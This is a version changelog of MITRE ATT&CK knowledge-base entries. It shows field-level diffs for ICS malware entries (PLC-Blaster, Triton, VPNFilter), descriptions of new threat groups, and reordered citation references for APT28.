| php/Software/S0009) is a piece of proof-of-concept malware t | | piece of proof-of-concept malware that runs on Siemens S7 PL |
| hat runs on Siemens S7 PLCs. This worm locates other Siemens | | Cs. This worm locates other Siemens S7 PLCs on the network a |
| S7 PLCs on the network and attempts to infect them. Once th | | nd attempts to infect them. Once this worm has infected its |
| is worm has infected its target and attempted to infect othe | | target and attempted to infect other devices on the network |
| r devices on the network, the worm can then run one of many | | , the worm can then run one of many modules. (Citation: Spen |
| modules.(Citation: BlackHat PLC-Blaster Mar 2016)(Citation: | | neberg, Ralf, Maik Brggemann, and Hendrik Schwartke March 20 |
| BlackHat PLC-Blaster 2016) | | 16) (Citation: Spenneberg, Ralf 2016) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| is_family | | False |
| x_mitre_domains | | ['ics-attack'] |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | ['PLC-Blaster'] | |
| x_mitre_platforms | ['Windows'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-02 22:01:15.893000+00:00 | 2022-04-21 22:02:03.944000+00:00 |
| description | [PLC-Blaster](https://collaborate.mitre.org/attackics/index.php/Software/S0009) is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.(Citation: BlackHat PLC-Blaster Mar 2016)(Citation: BlackHat PLC-Blaster 2016) | [PLC-Blaster](https://attack.mitre.org/software/S0009) is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them. Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules. (Citation: Spenneberg, Ralf, Maik Brggemann, and Hendrik Schwartke March 2016) (Citation: Spenneberg, Ralf 2016) |
| labels[0] | malware | Malware |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0009 | https://attack.mitre.org/Software/S0009 |
| external_references[1]['source_name'] | BlackHat PLC-Blaster 2016 | Spenneberg, Ralf, Maik Brggemann, and Hendrik Schwartke March 2016 |
| external_references[1]['description'] | Spenneberg, Ralf, Maik Brüggemann, and Hendrik Schwartke. (2016, March 31). Plc-blaster: A worm living solely in the plc.. Retrieved September 19, 2017. | Spenneberg, Ralf, Maik Brggemann, and Hendrik Schwartke 2016, March 31 Plc-blaster: A worm living solely in the plc. Retrieved. 2017/09/19 |
| external_references[1]['url'] | https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf | https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Spenneberg, Ralf 2016', 'description': 'Spenneberg, Ralf 2016 PLC-Blaster Retrieved. 2019/06/06 ', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'} |
[S1009] Triton
Current version: 1.0
|
|
|---|
| t | [Triton](https://collaborate.mitre.org/attackics/index.php/S | t | [Triton](https://attack.mitre.org/software/S0013) is an atta |
| oftware/S0013) is an attack framework built to interact with | | ck framework built to interact with Triconex Safety Instrume |
| Triconex Safety Instrumented System (SIS) controllers.(Cita | | nted System (SIS) controllers. (Citation: Blake Johnson, Dan |
| tion: FireEye TRITON Dec 2017)(Citation: Dragos TRISIS Dec 2 | | Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christo |
| 017)(Citation: CISA MAR-17-352-01 HatMan)(Citation: Schneide | | pher Glyer December 2017) (Citation: Dragos December 2017) ( |
| r Electric TRITON Jan 2018)(Citation: Triton - A Report From | | Citation: DHS CISA February 2019) (Citation: Schneider Elect |
| The Trenches Mar 2019)(Citation: Schneider Electric Dec 201 | | ric January 2018) (Citation: Julian Gutmanis March 2019) (Ci |
| 8)(Citation: MidnightBlueLabs TRITON Jan 2018) | | tation: Schneider December 2018) (Citation: Jos Wetzels Janu |
| | | ary 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| is_family | | False |
| x_mitre_domains | | ['ics-attack'] |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | ['Windows'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-02 22:01:15.893000+00:00 | 2022-04-21 22:02:03.950000+00:00 |
| description | [Triton](https://collaborate.mitre.org/attackics/index.php/Software/S0013) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers.(Citation: FireEye TRITON Dec 2017)(Citation: Dragos TRISIS Dec 2017)(Citation: CISA MAR-17-352-01 HatMan)(Citation: Schneider Electric TRITON Jan 2018)(Citation: Triton - A Report From The Trenches Mar 2019)(Citation: Schneider Electric Dec 2018)(Citation: MidnightBlueLabs TRITON Jan 2018) | [Triton](https://attack.mitre.org/software/S0013) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. (Citation: Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017) (Citation: Dragos December 2017) (Citation: DHS CISA February 2019) (Citation: Schneider Electric January 2018) (Citation: Julian Gutmanis March 2019) (Citation: Schneider December 2018) (Citation: Jos Wetzels January 2018) |
| labels[0] | malware | Malware |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0013 | https://attack.mitre.org/Software/S0013 |
| external_references[1]['source_name'] | FireEye TRITON Dec 2017 | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017 |
| external_references[1]['description'] | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018. | Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer 2017, December 14 Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Dragos TRISIS Dec 2017 | Dragos December 2017 |
| external_references[2]['description'] | Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 12, 2018. | Dragos 2017, December 13 TRISIS Malware Analysis of Safety System Targeted Malware Retrieved. 2018/01/12 |
| external_references[3]['source_name'] | CISA MAR-17-352-01 HatMan | DHS CISA February 2019 |
| external_references[3]['description'] | DHS CISA. (2019, February 27). MAR-17-352-01 HatMan—Safety System Targeted Malware (Update B). Retrieved March 8, 2019. | DHS CISA 2019, February 27 MAR-17-352-01 HatManSafety System Targeted Malware (Update B) Retrieved. 2019/03/08 |
| external_references[3]['url'] | https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf | https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf |
| external_references[4]['source_name'] | Schneider Electric TRITON Jan 2018 | Schneider Electric January 2018 |
| external_references[4]['description'] | Schneider Electric. (2018, January 23). TRITON - Schneider Electric Analysis and Disclosure. Retrieved March 14, 2019. | Schneider Electric 2018, January 23 TRITON - Schneider Electric Analysis and Disclosure Retrieved. 2019/03/14 |
| external_references[5]['source_name'] | Triton - A Report From The Trenches Mar 2019 | Julian Gutmanis March 2019 |
| external_references[5]['description'] | Julian Gutmanis. (2019, March 11). Triton - A Report From The Trenches. Retrieved March 11, 2019. | Julian Gutmanis 2019, March 11 Triton - A Report From The Trenches Retrieved. 2019/03/11 |
| external_references[6]['source_name'] | Schneider Electric Dec 2018 | Schneider December 2018 |
| external_references[6]['description'] | Schneider Electric. (2018, December 14). Security Notification - EcoStruxure Triconex Tricon V3. Retrieved August 26, 2019. | Schneider 2018, December 14 Security Notification EcoStruxure Triconex Tricon V3 Retrieved. 2019/03/08 |
| external_references[7]['source_name'] | MidnightBlueLabs TRITON Jan 2018 | Schneider Electric December 2018 |
| external_references[7]['description'] | Jos Wetzels. (2018, January 16). Analyzing the TRITON industrial malware. Retrieved October 22, 2019. | Schneider Electric 2018, December 14 Security Notification - EcoStruxure Triconex Tricon V3 Retrieved. 2019/08/26 |
| external_references[7]['url'] | https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware | https://download.schneider-electric.com/files?p_enDocType=Technical+leaflet&p_File_Name=SEVD-2017-347-01+Triconex+V3.pdf&p_Doc_Ref=SEVD-2017-347-01 |
| external_references[8]['source_name'] | CISA ICS Advisory (ICSA-18-107-02) | Jos Wetzels January 2018 |
| external_references[8]['description'] | ICS-CERT. (2018, December 18). Advisory (ICSA-18-107-02) - Schneider Electric Triconex Tricon (Update B). Retrieved March 8, 2019. | Jos Wetzels 2018, January 16 Analyzing the TRITON industrial malware Retrieved. 2019/10/22 |
| external_references[8]['url'] | https://us-cert.cisa.gov/ics/advisories/ICSA-18-107-02 | https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'MITRE CVE-2018-8872', 'description': 'MITRE. (2018, May 04). CVE-2018-8872. Retrieved March 8, 2019.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2018-8872'} | |
| external_references | {'source_name': 'CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer', 'description': 'Common Weakness Enumeration. (2019, January 03). CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer. Retrieved March 8, 2019.', 'url': 'https://cwe.mitre.org/data/definitions/119.html'} | |
| external_references | {'source_name': 'The Office of Nuclear Reactor Regulation', 'description': 'The Office of Nuclear Reactor Regulation. (n.d.). Triconex Topical Report 7286-545-1. Retrieved May 30, 2018.', 'url': 'https://www.nrc.gov/docs/ML1209/ML120900890.pdf'} | |
| external_references | {'source_name': 'MDudek-ICS Triton', 'description': 'MDudek-ICS. (n.d.). TRISIS-TRITON-HATMAN. Retrieved November 3, 2019.', 'url': 'https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library'} | |
| x_mitre_aliases | Triton | |
[S1010] VPNFilter
Current version: 1.0
|
|
|---|
| t | [VPNFilter](https://collaborate.mitre.org/attackics/index.ph | t | [VPNFilter](https://attack.mitre.org/software/S0002) is a mu |
| p/Software/S0002) is a multi-stage, modular platform with ve | | lti-stage, modular platform with versatile capabilities to s |
| rsatile capabilities to support both intelligence-collection | | upport both intelligence-collection and destructive cyber at |
| and destructive cyber attack operations. VPNFilter modules | | tack operations. [VPNFilter](https://attack.mitre.org/softwa |
| such as its packet sniffer ('ps') can collect traffic that p | | re/S0002) modules such as its packet sniffer ('ps') can coll |
| asses through an infected device, allowing the theft of webs | | ect traffic that passes through an infected device, allowing |
| ite credentials and monitoring of Modbus SCADA protocols.(Ci | | the theft of website credentials and monitoring of Modbus S |
| tation: Talos VPNFilter Jun 2018)(Citation: VPNFilter Deep D | | CADA protocols. (Citation: William Largent June 2018) (Citat |
| ive Mar 2019) | | ion: Carl Hurd March 2019) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| is_family | | False |
| x_mitre_domains | | ['ics-attack'] |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | ['VPNFilter'] | |
| x_mitre_platforms | ['Windows'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-03 22:01:15.893000+00:00 | 2022-04-21 22:02:03.951000+00:00 |
| description | [VPNFilter](https://collaborate.mitre.org/attackics/index.php/Software/S0002) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols.(Citation: Talos VPNFilter Jun 2018)(Citation: VPNFilter Deep Dive Mar 2019) | [VPNFilter](https://attack.mitre.org/software/S0002) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S0002) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) |
| labels[0] | malware | Malware |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0002 | https://attack.mitre.org/Software/S0002 |
| external_references[1]['source_name'] | Talos VPNFilter Jun 2018 | William Largent June 2018 |
| external_references[1]['description'] | William Largent. (2018, June 06). VPNFilter Update - VPNFilter exploits endpoints, targets new devices. Retrieved March 28, 2019. | William Largent 2018, June 06 VPNFilter Update - VPNFilter exploits endpoints, targets new devices Retrieved. 2019/03/28 |
| external_references[2]['source_name'] | VPNFilter Deep Dive Mar 2019 | Carl Hurd March 2019 |
| external_references[2]['description'] | Carl Hurd. (2019, March 26). VPNFilter Deep Dive. Retrieved March 28, 2019. | Carl Hurd 2019, March 26 VPNFilter Deep Dive Retrieved. 2019/03/28 |
Groups
enterprise-attack
New Groups
[G0143] Aquatic Panda
Current version: 1.0
Description: [Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)
[G0142] Confucius
Current version: 1.0
Description: [Confucius](https://attack.mitre.org/groups/G0142) is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between [Confucius](https://attack.mitre.org/groups/G0142) and [Patchwork](https://attack.mitre.org/groups/G0040), particularly in their respective custom malware code and targets.(Citation: TrendMicro Confucius APT Feb 2018)(Citation: TrendMicro Confucius APT Aug 2021)(Citation: Uptycs Confucius APT Jan 2021)
[G0141] Gelsemium
Current version: 1.0
Description: [Gelsemium](https://attack.mitre.org/groups/G0141) is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in Eastern Asia and the Middle East.(Citation: ESET Gelsemium June 2021)
[G0140] LazyScripter
Current version: 1.0
Description: [LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)
Major Version Changes
[G0007] APT28
Current version: 4.0
Version changed from: 3.2 → 4.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 20:34:03.233000+00:00 | 2022-03-16 18:08:13.958000+00:00 |
| external_references[2]['source_name'] | SNAKEMACKEREL | IRON TWILIGHT |
| external_references[2]['description'] | (Citation: Accenture SNAKEMACKEREL Nov 2018) | (Citation: Secureworks IRON TWILIGHT Profile)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017) |
| external_references[3]['source_name'] | Swallowtail | SNAKEMACKEREL |
| external_references[3]['description'] | (Citation: Symantec APT28 Oct 2018) | (Citation: Accenture SNAKEMACKEREL Nov 2018) |
| external_references[4]['source_name'] | Group 74 | Swallowtail |
| external_references[4]['description'] | (Citation: Talos Seduploader Oct 2017) | (Citation: Symantec APT28 Oct 2018) |
| external_references[5]['source_name'] | Sednit | Group 74 |
| external_references[5]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT.(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018) | (Citation: Talos Seduploader Oct 2017) |
| external_references[6]['source_name'] | Sofacy | Sednit |
| external_references[6]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) | This designation has been used in reporting both to refer to the threat group and its associated malware [JHUHUGIT](https://attack.mitre.org/software/S0044).(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018) |
| external_references[7]['source_name'] | Pawn Storm | Sofacy |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) | This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) |
| external_references[8]['source_name'] | Fancy Bear | Pawn Storm |
| external_references[8]['description'] | (Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) | (Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[9]['source_name'] | STRONTIUM | Fancy Bear |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) | (Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[10]['source_name'] | Tsar Team | STRONTIUM |
| external_references[10]['description'] | (Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017) | (Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[11]['source_name'] | Threat Group-4127 | Tsar Team |
| external_references[11]['description'] | (Citation: SecureWorks TG-4127) | (Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017) |
| external_references[12]['source_name'] | TG-4127 | Threat Group-4127 |
| external_references[13]['source_name'] | NSA/FBI Drovorub August 2020 | TG-4127 |
| external_references[13]['description'] | NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020. | (Citation: SecureWorks TG-4127) |
| external_references[14]['source_name'] | Cybersecurity Advisory GRU Brute Force Campaign July 2021 | NSA/FBI Drovorub August 2020 |
| external_references[14]['description'] | NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. | NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020. |
| external_references[14]['url'] | https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF | https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF |
| external_references[15]['source_name'] | DOJ GRU Indictment Jul 2018 | Cybersecurity Advisory GRU Brute Force Campaign July 2021 |
| external_references[15]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. |
| external_references[15]['url'] | https://www.justice.gov/file/1080281/download | https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF |
| external_references[16]['source_name'] | Ars Technica GRU indictment Jul 2018 | DOJ GRU Indictment Jul 2018 |
| external_references[16]['description'] | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. |
| external_references[16]['url'] | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ | https://www.justice.gov/file/1080281/download |
| external_references[17]['source_name'] | Crowdstrike DNC June 2016 | Ars Technica GRU indictment Jul 2018 |
| external_references[17]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. |
| external_references[17]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ |
| external_references[18]['source_name'] | FireEye APT28 | Crowdstrike DNC June 2016 |
| external_references[18]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[18]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[19]['source_name'] | SecureWorks TG-4127 | FireEye APT28 |
| external_references[19]['description'] | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[19]['url'] | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| external_references[20]['source_name'] | FireEye APT28 January 2017 | SecureWorks TG-4127 |
| external_references[20]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. |
| external_references[20]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign |
| external_references[21]['source_name'] | GRIZZLY STEPPE JAR | FireEye APT28 January 2017 |
| external_references[21]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[21]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[22]['source_name'] | Sofacy DealersChoice | GRIZZLY STEPPE JAR |
| external_references[22]['description'] | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[22]['url'] | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[23]['source_name'] | Palo Alto Sofacy 06-2018 | Sofacy DealersChoice |
| external_references[23]['description'] | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. |
| external_references[23]['url'] | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ |
| external_references[24]['source_name'] | Symantec APT28 Oct 2018 | Palo Alto Sofacy 06-2018 |
| external_references[24]['description'] | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. |
| external_references[24]['url'] | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
| external_references[25]['source_name'] | ESET Zebrocy May 2019 | Symantec APT28 Oct 2018 |
| external_references[25]['description'] | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. |
| external_references[25]['url'] | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government |
| external_references[26]['source_name'] | US District Court Indictment GRU Oct 2018 | ESET Zebrocy May 2019 |
| external_references[26]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. |
| external_references[26]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ |
| external_references[27]['source_name'] | Kaspersky Sofacy | US District Court Indictment GRU Oct 2018 |
| external_references[27]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[27]['url'] | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[28]['source_name'] | ESET Sednit Part 3 | Kaspersky Sofacy |
| external_references[28]['description'] | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. |
| external_references[28]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ |
| external_references[29]['source_name'] | Talos Seduploader Oct 2017 | ESET Sednit Part 3 |
| external_references[29]['description'] | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. |
| external_references[29]['url'] | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
| external_references[30]['source_name'] | Securelist Sofacy Feb 2018 | Talos Seduploader Oct 2017 |
| external_references[30]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. |
| external_references[30]['url'] | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html |
| external_references[31]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | Securelist Sofacy Feb 2018 |
| external_references[31]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. |
| external_references[31]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ |
